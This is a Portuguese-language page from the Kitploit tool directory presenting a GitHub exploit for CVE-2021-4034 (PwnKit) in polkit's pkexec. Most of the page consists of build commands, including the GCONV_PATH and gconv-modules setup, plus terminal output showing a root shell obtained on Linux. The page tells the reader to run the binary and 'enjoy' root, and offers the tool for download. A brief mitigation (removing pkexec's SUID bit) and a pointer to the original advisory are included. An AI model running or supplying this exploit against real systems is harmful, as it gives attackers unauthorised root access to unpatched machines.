Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-4034 — Exploit para CVE-2021-4034 no polkit pkexec, fornecendo um shell de root via escalonamento de privilégios SUID. Inclui código-fonte e instruções de compilação. | Kitploit
Ferramentas/GitHubGitHub/tanmay-n/cve-2021-4034
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubtanmay-n/cve-2021-4034

CVE-2021-4034

Exploit para CVE-2021-4034 no polkit pkexec, fornecendo um shell de root via escalonamento de privilégios SUID. Inclui código-fonte e instruções de compilação.

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-4034

exploit de escalada de privilégios do polkit

Basta executar make, ./cve-2021-4034 e aproveitar seu shell root.

O advisory original da minha equipe da Qualys aqui

PoC

Se o exploit estiver funcionando, você obterá um shell root imediatamente:

root@kitploit:~
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

Atualizar o polkit na maioria dos sistemas corrigirá o exploit, portanto você verá a mensagem de uso e o programa será encerrado:

root@kitploit:~
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$

Sobre o Polkit pkexec para Linux

O Polkit (antigo PolicyKit) é um componente para controlar privilégios em todo o sistema em sistemas operacionais do tipo Unix. Ele fornece uma maneira organizada para processos sem privilégios se comunicarem com processos privilegiados. Também é possível usar o polkit para executar comandos com privilégios elevados usando o comando pkexec seguido do comando que se deseja executar (com permissão de root).

Mitigação

Se não houver patches disponíveis para o seu sistema operacional, você pode remover o bit SUID do pkexec como uma mitigação temporária.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec
Baixar ferramenta